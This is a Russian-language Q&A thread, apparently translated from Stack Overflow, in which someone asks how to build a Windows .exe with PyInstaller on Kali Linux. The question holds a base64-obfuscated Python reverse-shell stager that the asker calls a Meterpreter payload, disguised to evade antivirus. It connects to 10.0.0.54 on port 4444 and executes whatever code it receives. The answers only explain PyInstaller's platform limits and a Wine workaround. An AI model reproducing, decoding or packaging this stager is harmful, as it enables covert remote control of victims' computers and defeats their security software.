Компиляция Python в.EXE вместо.ELF в Linux

Я собираю код Python на Kali Linux. Я хочу создать файл.exe для запуска в Windows. Это следующие настройки для PyInstaller:

pyinstaller -F /root/Desktop/Evil_private.py -i Evil_Private.exe

и код - просто метр с некоторыми комментариями, чтобы избежать обнаружения антивируса. Следующий код:

import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]
('aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQ0KI0kgYW0gbm90IGEgc2NyaXB0IGtpZGRpZQ0KZm9yIHggaW4gcmFuZ2UoMTApOg0KCXRyeToNCgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQ0KCQlzLmNvbm5lY3QoKCcxMC4wLjAuNTQnLDQ0NDQpKQ0KCQlicmVhaw0KCWV4Y2VwdDoNCgkJdGltZS5zbGVlcCg1KQ0KbD1zdHJ1Y3QudW5wYWNrKCc+SScscy5yZWN2KDQpKVswXQ0KZD1zLnJlY3YobCkNCiNOaWNlIEFOVEktViBicm8sIFdIT0FBQUENCndoaWxlIGxlbihkKTxsOg0KCWQrPXMucmVjdihsLWxlbihkKSkNCmV4ZWMoZCx7J3MnOnN9KQ0K')))

Когда я его компилирую, я получаю файл.ELF вместо.EXE. Может я ошибся в каталоге? Я не думаю, что это так, поскольку я проверил большинство каталогов, связанных с PyInstaller. Я прочитал руководство по PyInstaller, но, похоже, оно бесполезно. Есть ли решение для компиляции кода Python в Linux, чтобы получить файл.exe для Windows?

2 ответа

Решение

Из документации:

Вывод PyInstaller зависит от активной операционной системы и активной версии Python. Это означает, что для подготовки рассылки:

  • другая ОС
  • другая версия Python
  • 32-битная или 64-битная ОС

вы запускаете PyInstaller на этой ОС, под этой версией Python. Интерпретатор Python, выполняющий PyInstaller, является частью пакета и зависит от ОС и размера слова.

Вы не можете сгенерировать.exe под Kali, на котором работает Python.

Игнасио ответ правильный. Linux-версия pyinstaller не будет собирать Windows PE.

[Запутанный] обходной путь - установить wine, затем установить python на wine (и pyinstaller на wine).

Затем запустите винный pyinstaller, чтобы построить exe.

Другие вопросы по тегам